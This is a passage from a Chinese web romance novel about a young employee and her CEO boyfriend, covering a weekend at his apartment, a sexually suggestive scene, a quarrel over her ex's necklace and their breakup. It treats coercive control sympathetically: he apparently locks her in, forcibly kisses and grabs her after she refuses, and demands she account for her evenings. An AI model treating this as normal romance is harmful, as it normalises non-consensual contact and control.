“你干嘛?”肖瑜愣了几秒,立刻拍着他的胸膛挣扎起来,“你放开……你干吗?”
被抱进书房抵在软装墙壁上,顾程弓起一条腿,掐起她的腰让她骑上去,在她软下声音后满目疑惑的注视中,抿了下唇,伸出双臂。
他两手‘咚’地摁在肖瑜脑袋两侧墙壁,俊逸的眉目也神色清冷地逼近了她的脸,把她惊得一抖,不自禁就双手后抓着摁住了墙面,咽了下嗓子,“你……唔!嗯……”
下一秒,是他来势汹汹的吻。
她满心疑惑,又莫名倍感喜悦,被他吻得呜咽着闭上了眼睛,却又因他猛晃一下腿,慌不迭睁开双眸,紧紧抱住了他的脖子。
“对不起。”顾程拿额头抵着她的,鼻尖也跟她的轻轻相触,眉目间盛满了温柔,“不生气了,好吗?”
突来的示好,让肖瑜心跳如擂。她眨了眨眼睛,红着脸垂眸躲开他的视线,声若细蚊,“可你嫌弃我了。我怕你以后跟我在一起,一想起来就会……讨厌我。”
她说着,难免心里一涩,鼻尖又有点酸。
“我喜欢你,一点都不讨厌你,更不嫌弃你。”顾程抬手轻轻勾起她的下巴,见她闻言小脸上立刻透出几分喜悦,他轻舒一口气,温声道,“过去的就是过去了,你并没有做错什么。只不过……”
他顿了一下,见她眼中涌起几分疑惑,他的视线从她的唇滑向她光洁的脖子,继而是那对在薄如蝉翼的睡衣下,伴随着呼吸轻轻颤动,浑圆挺翘的宝贝,“我……还有一个问题,需要有个心理准备。”
他少有这般欲言又止,踌躇着思忖措辞,甚至还垂眸轻咳了一声来掩饰情绪,“我不吃醋,但可能会需要冷静一会儿。我不想带着疑问过夜。”
肖瑜顺着他的视线低头看去,目之所及是他给自己准备的睡衣,她思索着他的话,咬了下唇,主动说道,“还是关于他吗?我……穿过一次他的衬衣,因为那天淋了雨,没有别的衣服换。别的……没有了。”她脸红了一下,悄声补充道,“我跟你……已经比跟他更亲密了。身上有吻痕
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,是第一次。单独一起过夜,也是第一次。我喜欢你,你也喜欢我,所以以后我们,会有更多的第一次……”
她说到最后,已经羞得抬不起头,脸烧得发烫。而她的主动坦白和有意示好,果然让顾程眼角眉梢都起了笑意,忽一下把她抱在腰上走向办公桌,轻轻放在了上面。
他腰线很高,在她打开了的双腿之间站着,那个姿势有点让人羞于启齿。尤其对于看惯了网文的肖瑜来说,脑海中不自禁便联想出许多画面感极强的文章片段,心里又甜又怕,紧张得一塌糊涂。
顾程俯下身,右手从她腰下探了过来,肖瑜攥紧了十指紧张地看着他,他对上她的视线,有些不解地皱了下眉,继而又把手抽回来,指尖已经多了张黑色的卡片,“拿去,随便刷。”
肖瑜愣了一下,呆呆地接过来,眨眨眼,又转头看向身后。她这才发现桌上还摊着之前那本笔记本,上面是带有公式和简笔图的满页勾画,标题是很醒目的楷书:【霸总壁咚流程设计】。
她再也顾不得去想那些旖旎的可能,拿起本子仔仔细细地看,一条条,一幅幅,竟比她高中物理课时的笔记更详细:
【我的身高,我家小姑娘的身高,曲度,角度,姿势,时机,可以用掌击发出‘咚’的力度……猪的身高,猪和我家小姑娘的身高差,以猪为模型的修改方案……最终方案】
最底下还有两行潦草些的字:【无限额的卡。什么限量版?】
肖瑜感觉自己有些魂魄不齐,好半天才哭笑不得回头看向顾程,像是在看外星人,“你刚才那下壁咚,还是经过设计的?”
“第一次做,网上的教程太潦草。”顾程点了点头。肖瑜觉得自己可能是眼花了,因为她居然在顾总的脸上看到了明显的得意之色,他挑着眉笑道,“他们教的那些姿势,不具美感,也没有考虑到个体差异,不可取。”
肖瑜都不知道该说什么好,她低头又看一眼手中的卡,把它放回了桌上,依旧很是疑惑地问他,“可你为什么要专门设计一个壁咚做?还给我卡?还有,什么限量版什么意思?”
顾程被她问地也有些不确定起来,他敛起笑意蹙了眉,瞥一眼被她放回桌面的卡,“我们刚认识的时候,你说霸总吃醋了应该壁咚,给无限额的卡,还要买个限量版的什么东西。我以为这样做你会消气……不过我真不记得你说的限量版是什么了,你可以自己……”他顿了一下,改口道,“等周日我再带你去买?”
他越说眉心越紧,眼中的神色也越发困惑,到最后是实打实的满心疑问。因为面前的小姑娘,一开始还满脸莫名其妙瞅着他,可随着他的解释,大大的眼睛里有灿烂的光一点一点亮起来,可看起来又不是开心或者兴奋,反而渐渐还起了雾,竟像是又要哭了。
他无奈极了,叹口气还想再问问,怎么就又给惹着了。
可下一秒,小姑娘勾着脖子往他脸上凑,生涩地拿嘴唇触上他的,见他还愣着,她红着脸闭上眼睛,柔软的唇瓣不住在他嘴上轻轻磨。
除了第一次她醉酒,之前的亲吻,从来都是他长驱直入的索取,她初时总是不知所措地受着,继而随着情动慢慢回应。这突来的主动,明显就是毫无经验,却又急切渴望着他的回应。
顾程喉间一动,立刻就掐起她水蛇般柔软的细腰,配合着她的节奏,低了头。
61. 第 61 章
第六十一章
随着他迈开脚步,她的臀悬了空,双腿本能地盘上他的腰,发出一声难抑的娇吟。他单手托起她,轻车熟路地关了灯,在黑暗中把她带到床上压下去,呼吸变得凌乱。
修长的指有些生疏地去解她胸前的丝扣,终于那对突然暴露在夜色中的宝贝受惊般颤了颤,他没有丝毫犹豫地低头迎上,温柔舔舐,细细摩挲。
肖瑜的左手攥紧了他的右肩,插进他发间的右手五指也蜷了起来,分不清是在推搡抑或怕他离开,遍布血髓的酥麻,让她娇嫩的脚趾都勾了起来,娇喘着发出难耐的低吟。
她并没有做好彻底接受他的准备,但刚才在书房,他为她所做的一切,让她不由自主想去取悦他,满足他。她想,她是真的有点爱上他了,比喜欢,还要多一些。
这才是爱情吧?被他记在心里的一句话,他为她做幼稚可笑的事,即便只是点滴,足以让她感受到被回应的甜蜜,心甘情愿,想要给予更多。
而不是空有一腔热情,上赶着去被伤害,被厌弃。
*
秘密花园附近开始有轻微的摩擦,隔着衣,试探中略带犹豫,小心翼翼。
肖瑜的双手彻底从他身上离开,紧紧攥住两侧的床单,被本能驱使的渴望和对未知体验的恐惧交袭而来,她的身体如雨中的玫瑰,颤抖着等待初次绽放。
可胸前的人抬起头,忽然停了下来。
夜色中,肖瑜看不清楚他的脸,可她感觉得到落在身上那火热的视线。
她有点不知所措,也不知道接下来该作何反应。
一声叹息,微不可闻。继而顾程仿佛忽然泄了力般,过来侧身把她拢进怀里,大手依旧爱不释手地把玩着那对宝贝,在她耳畔喃声道,“明天我来做早餐。你不挑的话,我就随便做了。”
“嗯……好。”
他半路刹车,若在以前,肖瑜其实不会多想,因为本就没有经历过,也就不会有期待。可第一次两个人睡在一起时,她寸缕不着,身上也被吻的咬的都是痕迹,他没动她。刚才那种氛围下,他也明明都已经有那个想法了,居然还是说停就停,此刻嗓音里似乎还有了倦意。联想起先前读者群里关于验货的说法,她的感觉顿时有点复杂。
何况他别的都停了,在她怀里的动作却丁点没停,揉搓拨弄得她燥得很,甚至都有点无名火起。
没有开灯,深重的夜色,伸手不见五指,越发状了她的胆。于是肖瑜又翘着头去亲他,还伸手去摸他的胸膛,连腿都不安分地往他腰上攀。
她八爪鱼样绕上来,又软又香又热情,像个要吃唐僧肉的小妖精。顾程的身子僵了一下,匆忙从她怀里抽出手,三两下就把她钳制住,给扭了个背对着他的姿势,摁在身前。
肖瑜还跟砧板上的鱼一样扑腾,后腰上隔衣顶来一把枪,她腰肉一紧,胆掉了大半儿。
“热情的很……”顾程嗓音暗哑得厉害,鼻息也很重,仿佛是磨着牙在她耳边问,“霸总三件套就这么有用?”
他这么一说,肖瑜方才的那股无名火直接就熄了,燥得难受的冲动也散了些,嘟着嘴似怨似嗔地说道,“那都是小说里霸总打发睡过的女人的,我才不稀罕。再说……你都没睡我。”
“你还挺遗憾?”顾程喃声笑了起来,似乎往后弓了弓腰,把关键部位跟她的距离拉远,这才又说,“明天出不去,你打算在家做什么?”
肖瑜觉得,他在转移话题。
于是她转了转眼珠,顺着他的话说,“写小说。我小说里的霸总,该跟女主有更进一步的亲密关系了。”
她寻思着,照常理,正常人要问的下一个问题应该是,‘他们进展到哪儿了?’或者,‘什么更进一步的亲密关系?’
可顾程却问,“你爸就是总裁,你要找写作素材,怎么不直接去问他?为什么问我?我们当时都还只是陌生人。”
爸爸这高洁的称谓一出来,直接就让肖瑜的试探欲烟消云散,连空气中浓浓的暧昧都无风而去。
她咽了下嗓子,很不甘心地答道,“他都有老婆孩子了,当然不能做原型啊。而且我爸爸很专情,跟我妈妈一直感情很好,他也不霸道,跟你们这种不一样的。”
“我们这种?”顾程挑了下眉,低笑一声道,“是哪种?说来听听?”
“就是……”肖瑜思索了一下,总结道,“霸道专横,夜夜笙歌,纸醉金迷,走肾不走心。”
“原来霸总是个贬义词。”顾程的下巴在她发顶蹭了蹭,喃声笑道,“我可不是这种,我是你爸那种。不过,我没他霸道。”
“我爸爸哪里霸道啦?”肖瑜跟他这么悄悄地聊着,眼皮子渐渐沉了,翘着唇角闭了眼睛,轻声说,“我爸爸可温柔了。”
“那是对你。我对你不温柔吗?”
“嗯……温柔,所以我喜欢你。”
“呵……多说,我喜欢听。”
*
晨起时,床上只有她一个人。
肖瑜懒洋洋趴在枕头上,眯着眼醒了会儿神。
窗帘已经被拉开,却没有扰人美梦的刺目日光。因为春雨还没停,阴云下,正淅淅沥沥地在玻璃上划下一道道水痕。
在家的时候,她最喜欢下雨的清晨。可以听着雨打屋檐悦耳的轻响,看着窗外烟雨蒙蒙的景致,满足地在床上多赖会儿。
可在学校的时候,除非是刚被姜昊拒绝,受了打击,否则就算下泥石流,她都会早早地起床为他买早点,生怕他会偷懒不吃饭给饿着。
不该想的人窜入脑海,肖瑜连忙把脸埋在枕头里,狠狠摇了摇头。
“你这是什么习惯?”顾程刚进来,就看到她身姿妖娆地伏在床上,可乌发浓密的小脑袋,却跟拨浪鼓一样在枕头上甩。他诧异地问了一句,继而快步走来单膝跪床,探手摸向她的额头,“不舒服了?”
肖瑜翘头眨了下眼睛,有点被抓包的心虚,也有晨起时被男人看到的羞赧,更有他温言关切带来的感动。她的脸红了一下,把他的手从额头上抓下来,晃了晃,“要抱抱。”
顾程显然对她一早就这么热情有点意外,他怔了下,低笑一声,伸出双臂把她拽起来,拉进怀里。
肖瑜也环背紧紧抱住他,嗅着他身上清新的味道,脑子里终于彻底宁静下来。
“你又洗澡啦?”她抬眸看着他,伸手摸了摸他干干净净触感很润的下巴,“这种季节你也一天洗两遍吗?我只有天特别热的时候才早晚都洗。”
“嗯。”顾程的喉结动了一下,似乎不打算继续这个话题,而是拉下她的手问,“大概需要多久能出来吃早餐?”
“十五……二十分钟?”肖瑜说着,从他怀里直起了身。可见顾程点了下头竟也打算直接起身,她连忙紧了双臂把他箍在怀里,跪在床上看着他,很期待地问,“你不给我一个早安吻吗?小说里都有的。”
顾程看着她粉嘟嘟的嘴唇,犹豫了一下,问,“你刷牙了吗?”
“……”肖瑜眼前那一团团粉色的爱心泡泡,就这样一下被戳漏了气。她松开手,叹口气,垂头丧气地起身去洗漱。
可顾程明明已经走向了门口,却又折身回来扯起她,蜻蜓点水般在她唇上啄了一下,捏捏她的脸,“一点一点来,我也需要时间去习惯。”
*
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早餐是牛油果培根碎盖吐司,煎蛋和牛奶,还有芒果和蓝莓水果杯。简单,却营养全面。
吃过饭,肖瑜很自觉地帮忙把盘子拿去了厨房,冲一冲,放进了洗碗机。顾程也没闲着,给自己打了杯拿铁,给她做了杯摩卡。等待咖啡机萃取的功夫,他从橱柜里拿巧克力粉,而她也很自然地从冰箱里拿牛奶,帮他倒进拉花缸。宁静而忙碌的早晨,明明第一次相处,两人竟默契地似乎共同生活过一般。
时间尚早,落地窗前喝着咖啡闲适地聊着天,听到肖瑜说,她前几天在家学了几道菜,中午可以试着做给他吃。顾程笑道,“结婚后家里会请人照顾你,所以你不需要考虑做家务的事情。”说着,他眼睛里已多了份宠,“你跟我妹妹,都是家里娇养的宝贝,出嫁了也不是让你们去伺候人的。”
提起顾菲,肖瑜的眼睛也弯了起来,她抿一口咖啡点点头,却坚持道,“可我还是要为你学几道拿手菜的。我妈妈偶尔下个厨,我爸总是一副受宠若惊的样子,老恩爱了。我也想看到你被我偏爱的样子。”她说着,也不知道想到了什么,看他一眼连忙躲开视线,竟然绷不住地笑出了声。
此刻顾程跟她是面对面坐在茶台两侧,原本她直白的表露情意,令他也忍不住心生涟漪,可她这声笑,明显憋着股坏。于是他抬了下眉,放下咖啡杯起身朝她走了过去。
“想到了什么这么好笑?说出来让我也笑笑?”
他这么一坐过来,肖瑜立刻老实了。果然如他已经总结出来的那样,但凡她跟他之间有一点点距离,或者他腾不出手来收拾她,小姑娘就有点容易得意忘形。
“没什么……”肖瑜憋住笑,下意识往边挪了下,抱起咖啡杯把嘴唇抵在杯口,低眉顺眼地拿眼角瞟着他,小声道,“我怕你吃了我做的饭,会感动地痛哭流涕。”
“不太现实。”她挪一下,顾程挪两下。见她还想挪,他索性直接抬手勾住了她的腰,低了头揶揄道,“躲什么躲?昨晚上跟要吃我似的,你……”
他正说着,顿了下,皱了眉,“怎么又穿上了?这么箍着不难受?”
掌心里的宝贝又被衣物束缚,手感差了很多。
肖瑜僵着身子把差点被惊洒的咖啡放去茶台,拉下他的手,脸红心跳地嘟囔道,“你怎么总……我在家也不是什么都不穿的,要不然容易下垂啊。”
她腰细背薄胸大,除了睡前,其实很少里面什么都不穿。昨晚要不是他一个劲儿拿内衣说事,她可能都会穿着睡一夜。
顾程挑了下眉,有几分惋惜地又捏了两下,把肖瑜给羞得脸发热,拽下他的手,推着让他走,“你去忙你的,我也要忙我自己的事情了。”
他咽了下嗓子,倒也没再继续杵着,只是起身后,仍忍不住探腰抱起她又亲了会,这才意犹未尽地揉揉她的发顶,径直走去书房,关了门。
他也委实不能贴身挨着她,尤其面对她又羞又臊的模样,总令人忍不住想去做点什么,让她纯澈的眸子里染上些欲,在他股掌之间吟得破碎又娇媚。
*
整个早上,肖瑜都没看到猫窝和跟猫猫相关的任何东西。如果不是忽然听到那一声声‘喵呜’,和细微的挠门声,还没学会为别人操心的她,是真的忘了家里还有一个小宝贝的事。
她寻着声音找过去,原来团团在距离客厅最近的那间浴室里。猫窝不远处,居然有一台……猫砂机?!
昨天下午猫猫被送来的时候,只有简单的猫窝,她甚至都想好了,周六第一件事就是大采购,在家里给它搭建一个漂漂亮亮的小天地。可顾程这儿怎么会有猫砂机的?早就准备好了?还是……
62. 第 62 章
第六十二章
团团被放了出来,第一时间就开始在屋里继续探索着转悠。肖瑜也悄悄摸到门口,没敢乱碰,但是也侦探一样仔细观察起门锁。
内置锁的地方,闪着小.蓝.灯。昨晚上离开的时候,好像是红色的?
莫非早上她睡懒觉的时候,已经有人来修好了锁,所以顾程才让人送来了猫砂机?
她想再悄悄试一遍密码,可又怕直接把锁搞得二次宕机,会被锁到天荒地老。
‘咔嗒’一声门响,肖瑜做贼心虚地原地蹦了一下,回头看到从屋里出来的顾程,她鼓起嘴巴朝他笑了笑,很乖巧地走去捡起团团抱怀里,走向毛毛虫沙发。
顾程从厨房里出来,在她身边的小几上放了一瓶气泡水,两袋小零食。他瞥一眼大门的方向,又看回她,“千万别再碰密码盘,里面的程序正在运作,明天就会解锁。”
“怪不得现在灯是蓝色的。”肖瑜恍然大悟,有些后怕地呼了口气,“我还以为猫砂机是早上送来的。你提前买好了吗?”
“嗯。”顾程点了下头,看向一侧扣着的电脑,“还没开始写?你这效率可不怎么高。”
“我有一整天的时间写,不着急。”肖瑜低头看看在腿上伸懒腰的团团,有点好奇地抬头问,“你在干吗?看书吗?”
“看些资料。”顾程左右歪了歪头,伸手捏一下脖子,“下个月要出趟远门,提前做做准备。”
“出差?去哪里呀?”肖瑜刚问完,就把小猫放在一边起了身,仰着头很开心地问道,“你是不是脖子疼?”
顾程垂眼盯着她,“我脖子疼你很开心?”
“我帮你按按好吗?”肖瑜赶紧收了笑,只留下满眼的关切,可眸子里还是闪着亮,“我手法不错的,真的。”
顾程十分意外地挑了下眉,继而松了唇角,“去哪儿按?床上?”
“沙发上就可以。你来。”肖瑜拉起他的手,难掩期待地往沙发上带,等他按照她的指示趴好了,她还给他开了电视让他看动画频道,然后快步走进了卧室。
电视上讲的什么,顾程一点都没兴趣。他歪头趴在抱枕上,垂眸看向自己老老实实被摆好的四肢,自己都觉得自己有点好笑。
他只是看资料坐久了,起来舒展一下,脖子根本就不疼。可瞅着小姑娘捉急展示手艺的模样,他是一点不忍心拒绝她的好意,看她失望。待会儿不管舒不舒服的,还得好好夸一顿,要不然指不定又得哭鼻子。
他这么想着,眉目间便浮上了轻浅的笑意。
肖瑜再出来的时候,拿了一瓶黄黄的油水混合物,应该是之前顾菲按照她习惯买的那些护肤品之一。
“按狠了皮肤会疼。没有按摩油,就先拿精华给你涂吧,算是顺便做个保养。”她使劲儿搓搓手,往掌心里挤了一堆液体,很熟练地说道,“你放松,不要紧张,我暖一下,不然会太凉。”
“这么专业?”顾程喃声笑着问,“跟谁学的?”
“自学成才。”肖瑜在他腰侧坐了下来,双手合拢揉了揉掌心,轻轻从他颈下开始捏,“专业不至于,肯定没技师按得好。但是我给爸妈按的时候,他们都夸我呢。”
顾程刚想说,那是他们想让你开心。可她小手捏上来,意外地又软又有力,酸中带着爽,竟让他不受控地哼了一声。
“疼吗?”肖瑜赶紧停下来,很紧张地看着他,“我轻点?”
顾程咽了下嗓子,闭上眼,“爽的。用力,不要停。”
肖瑜登时就弯了眼眸,一边继续,一边很得意地笑了,“就说我手法不错吧?我爸妈在家也会相互揉揉,但只有我,每次都能把我爸给捏睡着。嘻,尤其是放个动画片给他看,不多会儿就能打呼了。”
“嗯……”顾程现在是开口就忍不住舒服地哼,“为什么那么喜欢那头猪?”
“猪?”肖瑜挤了下眉,嗔他一眼,“她那么可爱,跟别的猪不一样的,你不要总那么叫她。佩奇很开心啊,你不觉得她无忧无虑的样子,一看就让人觉得心情很好吗?我从小看着她一家四口长大的,很喜欢呢。”
“那么喜欢,我给你的项链怎么不戴?”
肖瑜的手指紧了一下,嗫嚅道,“我放在家里了,好好收着的。”
顾程眯开眼缝儿看看她,继续闭上眼,“别告诉我这条项链是他送的。”
回应他的,是良久的沉默,连肩上的劲儿都松了。跟着,那双温暖的手,居然从他身上彻底拿开。
他握了下十指,咬了下牙,睁开眼睛。
肖瑜轻咬着唇角,双手之间已经撑起了被摘下的项链,正垂眸看着他,眼睛里满是犹豫,“我可以不戴,但是……我想留着。你可以别生气吗?”
见顾程没有说话,只是面沉如水地看着她,她把项链攥进掌心,偏头避开他的视线,“这是我的生日礼物,很有纪念意义。而且是我跟你好之前就有了的。我要留着。”
这次可不是询问,是告知。
柔情蜜意的和谐相处,只是因为一条项链就又起了波澜。顾程的眸色禁不住暗了下来,起身坐直,凉凉笑了笑,“如果我偏不让你留着呢?”
肖瑜把手背去了身后,大大的眼睛看向他,抿了抿唇,“你不可以这么霸道。你跟舒曼可以做朋友,我……”她咽了下嗓子,到底没抗住他目光中的压迫感,再度垂下了眼眸,“我……我只是留条项链都不可以吗?”
“我说什么了,你就跟我闹?”顾程冷笑一声,抬手绕过她的腰,去掰她的手,“秦舒曼可以跟我做朋友,是因为我对她完全没有想法。你不是。拿来。”
“我不!”
她第一次大声跟他叫,竟是为了他甚至素昧蒙面的那个人,顾程面色一暗,轻轻松松抠开她紧攥的五指,看都不看便将夺过来的东西抬手一扔,垃圾一样丢去了地上。
小鱼吊坠从链子上脱落,撞在电视柜上弹了一下,静静躺在地毯上,渺小,脆弱,孤零零,无声无响。
肖瑜的视线有点模糊。她动了动唇,站起来,步履不稳地走向电视柜,跪在地上,轻轻把吊坠和链子拾了起来,放在掌心,低着头,静静地看着。
顾程依旧坐在沙发上,胸腔里四处奔腾又无法释放的郁气,让他十指紧握的双臂,青筋都明显绷了起来。可眼前这个给他戴了精神绿帽的女人,竟然还在光明正大地缅怀着,本该死在心里的那个男人。
他第一次生出要知道那人是谁的想法,更是第一次被强烈的危机感笼罩。被从未重视过的对手碾压,让生来便顺风顺水,一切唾手可得的他,生出完全无法面对的挫败和屈辱感。
她站了起来,转过头朝他走来,面色惨白。
他亲眼看着她把掌心翻转,一颗拇指大小的金色吊坠,一根细细弱弱的金色链子,一前一后,毫无声响地落进垃圾桶。
顾程的面色缓下来,紧攥的十指也松了力,眸中有卸下重担后渐渐袭来的浅淡笑意。
“我
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们不合适。”肖瑜定定地看着他,声音很轻,没有犹豫,“我要跟你分手。”
*
周一的总裁办,人人如履薄冰,做事说话都比平素更加小心翼翼。
终于熬到十一点,顾程带了安祈攸匆匆离开,刘娜他们这才松口气,开启原本该在十点左右的茶水间休息时间。
“上周就阴了几天脸,周五早上刚瞅着好点,怎么过个周末干脆阎王上身了……”
要不说总裁办的人不一样,两个人在里间歇着八卦,门口还得站一个,端着咖啡一边听,一边关注走廊动静,连八卦都八卦地很机密。
“以前顾总啥时候生个气动静这么大的?你猜会不会是因为感情啊?”
“可太有可能了。上周肖瑜不是请了几天假吗?就是周五才回来的。”
“那周末小别胜新婚的,怎么就把顾总给气成这样了?”
“这谁知道啊……嗳,待会儿吃饭的时候,看看肖瑜就知道了呗。”
“嗯……我瞅着那小姑娘脾气挺好,人挺乖的啊。嗳,他俩真挺养眼的,我最近看小说代入的就是这对儿……可别闹掰了。”
*
八卦中的男主角,此刻正冷着一张脸,望向车窗外熙熙攘攘的闹市。
安祈攸还在搜肠刮肚地劝,“你都说了她是一张白纸,你这张纸也就划过一道,印子还浅得很。你们俩都没什么经验,总要经历个磨合期的。阿程,小姑娘大学都还没毕业呢,你指着她能跟交际花似的察言观色?再说那可是老肖的闺女,说白了跟你差不多,就算她性格再好再乖,也是被惯着宠着长大的,怎么可能没个脾气?”
他喊‘阿程’的时候,是真心实意只当顾程是挚友,不含任何名利场因素。早年被陈伯引荐相识的两个人,感情早比上下级要深得多,也比平素诸人眼中看到的,还要亲密得多。
顾程却没理他。墨黑的瞳内,阴云密布,心内的不甘和无力感,更是压得他眉心紧锁,根本没有松开的时候。
他此前从未料到,小姑娘平时乖得跟兔子似的,居然会这么死倔死倔的。
亲手扔了那人送的东西,他还以为她知了错,服了软,闹着要分手也不过是想让他主动哄哄。
可谁想他哄了,她却说,‘我不听。我们已经分手了。你已经不是我男朋友了。’
把他惹恼了又摁在怀里揉,去亲她,她却不张嘴,也不是跟此前那样娇羞地在他怀里躲着闹,而是不说话哭着拿大眼睛瞪她,是真真正正受了轻薄后,抗拒、痛恨一个人的眼神。
那眼神看得他心里很疼,很酸,也更恼。
发了狠地捏她,亲她,她依旧还是哭,两手死死抓着床,身子绷得像根撑满的皮筋儿。除了他主动挨上她的地方,竟是坚决不跟他有任何主动的碰触。一副贞洁烈女要被登徒子强迫的样儿,好像昨晚在他怀里的热情小妖精不是她,弄得他一度都要怀疑起,自己究竟是不是真的是个流氓。
“其实你是她第一个男人,她对你的感情铁定是不一样的。”
顾程想着想着就气得咬牙。安祈攸还在前边不停地劝:“不管男人女人,第一个都跟别的不一样。所以以前喜欢过的,你真不用那么介意,你自己不还谈过呢?床头吵架床尾和,你都打定主意要娶人家了,找个机会先给她舒舒服服伺候一顿,再好好哄哄,保准原谅你。”
顾程的目光终于落到了驾驶座上,他握拳抵了下唇,轻咳一声,“如果,还不是呢?”
63. 第 63 章
第六十三章
“又分手了?!”
员工食堂里,燕北北又惊了,压低了嗓门问,“我要没记错的话,你俩才刚和好吧?这次又因为什么啊?小鱼儿,原先我可一直以为,就你这软糯糯招男人疼的模样和性格,不管跟谁谈,都能把人哄得晕头转向的……”她顿了一下,撇下嘴,戳戳碗里的番茄炒蛋,“除了那个捂不热、没心没肺的渣男。”
“北北,我喜欢过他,那是我生命中的一部分,就算他再渣,也都是我真心实意喜欢过的。”肖瑜的声音很淡,说出来的话不恼也不恨,可就是让人听了挺心疼的,“我难受痛苦过,但从来没有后悔过,也不会把这份心意看做耻辱。”
燕北北惊讶地看着她,皱了眉,“难道这次是因为姜昊?你……你傻啊?你还跟顾总讲了你俩的事儿?不过……”她想了想,有些疑惑,“可他不是早就知道吗,你跟他说什么了?”
“他把姜昊送给我的项链给丢了,嫌弃得就像丢掉一件垃圾。”肖瑜说着,眼睛忍不住又有点发热,垂下了头,“北北,我不想提顾程了,我们真的不合适。”
“嗳你别哭啊,这么多双八卦的眼睛看着呢。”燕北北连忙递给她一张纸抽,小声劝,“别哭了乖。哎……你瞅瞅咱们这209,跟受了爱情诅咒似的。晚上见了孜歆你俩再好好哭,今晚去买醉,我请。”
*
可今晚的寝室三人重聚,最终还是没成。因为刘孜歆临时有事,连肖瑜也在下午三点不到的时候接了个电话请假出去,直到晚上顾菲回了屋,还没看到她的影子。
顾菲周末回了老宅,今儿还是首次回到泽鼎,进门换完衣服听到软叽叽的几声猫叫,她还以为是自己幻听了,打开封闭的小阳台才发现,家里居然多了只软萌软萌的小奶猫。
她正准备打电话给肖瑜,没想到肖瑜的电话先打了过来,很急地问,“菲菲你今晚回泽鼎吗?”
“回啊,我都在家了。亲爱的,你啥时候买的猫啊?可爱死了。”
“你在就好。”肖瑜长长舒了口气,叮嘱道,“我有点事情,要很晚回去,你帮我喂它一下,猫粮在储物柜第三格,半碗就够了,还要换一下水。别给它洗澡,它太小了,还需要时间适应新环境。对了,它叫团团。”
“嗯,别担心。”顾菲说完,连忙又问,“哎,这都七点多了,你跟我哥在一起呢?”
“不是,跟同学。”肖瑜顿了一下,还是没在电话里提已经跟顾程分手的事,只是匆忙地说道,“我晚上回去再跟你说,别告诉你哥我今晚出来了,好吗?”
虽然已经分了手,可因着自己父亲那层关系,顾程老早就告诫过她,晚上下班不回家要给他报备,不然就要通知她家里。是以考虑到父母会担心,肖瑜还是有点顾忌。
可这话听到顾菲耳朵里,多少有那么点让她帮忙瞒着自家哥哥搞小动作的意思。她有点为难地说道,“小鱼儿,咱俩是好姐妹,可你也是我未来嫂子。上回跟阿K那种事儿,可不能再干了,我哥可不是吃素的。”
“不是,是女同学……菲菲,我先挂了。”
肖瑜挂的很急,电话中断前,顾菲似乎隐约听到有人喊,‘病人家属……’
她心里有点忐忑,一方面担心肖瑜,另一方面,也是担心万一顾程问起来,要怎么说。楼上楼下的,要进家里检查一下,也就是分秒之间的事。她可不敢帮着撒谎,最多也就是打打掩护。上回的事她已经看出来了,涉及到小鱼儿,她哥收拾起她来可一点都不心软。
哎,小姐妹跟老哥谈恋爱,她这个小姑子却成了夹心饼,真是难。
可这边她叹着气刚要去给团团弄吃的,顾程的电话就打了过来,果然上来就问,“肖瑜在家吗?”
“应该……在吧?”顾菲眼珠子转了转,戏精上身一样忽然就满脸疲惫,声音也是有气无力的,“哥……有你这样的吗?有了媳妇儿就不要妹妹了?我刚上班没几天,开车半个多小时才进门儿,浑身累得都散架了,你也不关心一下我晚上吃饭了没,就知道问小鱼儿。我还在换鞋呢,浴室里有声音,估计她正洗澡呢,要不我进去看看让她跟你说?”
“不用。”顾程似乎松了口气,甚至有了笑意,“难得你能工作两天还没闹出事情来,待会儿让人送周记的烧鹅给你?”
“好啊好啊,要甜辣酱。”顾菲顿了一下,眼睛又转了转,“哥,怎么让别人送呢?不要嘛,我要哥哥亲自买给我嘛~我都两天没见你了,想你了!你几点才能给我买回来啊?”
“有点急事来香港了。”顾程也顿了一下,才又说道,“下午肖瑜请了假,你问问是怎么回事,有没有哪里不舒服,待会儿给我回个信儿。”
“你干吗不自己打给她啊?”一听说老哥人不在泽城,顾菲悬着的一颗心放了下来,好奇道,“周末不是挺顺利地把人锁屋里了吗?哎呦,你可是说只想处两天小日子,看看合不合适,有没有什么坏习惯的。难道发生了什么不可说的事,不好意思跟人家讲话啦?”
“闹了点小脾气,她可能心里还不太舒服。”顾程没打算多说,那边有人笑着叫了他,他低应一句,转而跟顾菲说,“想要什么发图给我。早点休息,别乱跑。”
挂了顾程的电话,顾菲就连忙又打给肖瑜,夹心饼做得尽职尽责。
可肖瑜那边不知道正在忙什么,连着打了三个电话都没接,她只得发了个信息过去,让她看到了赶紧回一下,便又抱着猫猫去喂吃的。这一晚上可给她忙得够呛,真真体会了一把独立又负责任的滋味。
*
肖瑜回电话的时候,已经十点了。
听说她居然回了学校住,晚上不回来,顾菲一下子就急了,“你怎么能夜不归宿呢?就算我哥人不在泽城,可万一他打视频找你,我怎么办啊?”
“没事的,我在学校,没在外边乱跑。”肖瑜的声音很轻,应该是避着人,压着嗓子,“我有个同学生病了,我今晚留下照顾她,明天一早就回去,也不耽误上班的。”
“我哥说你今天下午请假了,他担心你不舒服,说让我问完你给他回个话。”顾菲还是慌得一批,都想象得到自己未来天天吃土的惨景了,“小鱼儿!我刚还言之凿凿地说你在家呢,万一我哥知道我骗他,又要整我怎么办啊!我欠你的钱还没还呢。”
肖瑜此刻也十分疲惫,她想了一下,悄声说道,“你就说我回家后有急事又出来了。我现在跟他交代一声,你别担心了。”
“好。”顾菲终于松了口气,可还是关切地问道,“那你那边需要我帮什么忙吗?”
“你……”肖瑜犹豫了一下,很小声地说道,“今天的事情,你不要让北北知道,好吗?”
“为什么啊?”顾菲很不解地挤了眉,继而又恍然大悟道,“你这个同学跟北北不对付啊?”
“不是的……其实……”肖瑜沉默了一下,叹口气,“其实她知道也没什么。菲菲,你早点休息,团团就麻烦你了,我明天早上七点半之前就到
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家,给你带早餐。”
“好啊!我要吃……”
“我们学校附近有家小笼包很好吃,我带给你尝尝。”肖瑜赶紧阻止她报出可能要绕城转一圈的公主菜单,很利索地说道,“我要赶紧跟你哥联系了,晚安。”
“嗳?”顾菲盯着被挂掉的手机,翻了个白眼,“真是的……人家只想吃城北的福满楼蟹黄灌汤包……”
*
肖瑜的确回到了学校寝室,刚照顾了刘孜歆睡下。
她轻轻掀起她的床帘看了看,又倒杯开水冷着备用,这才拿起手机,思忖半晌,给顾程发了条微信:【顾总,今晚学校有点事情,我回寝室住了。明天早上会按时去上班的。】
顾程的电话很快打了过来,肖瑜连忙按下接听,声音很小,“我在寝室,我同学已经睡了。”
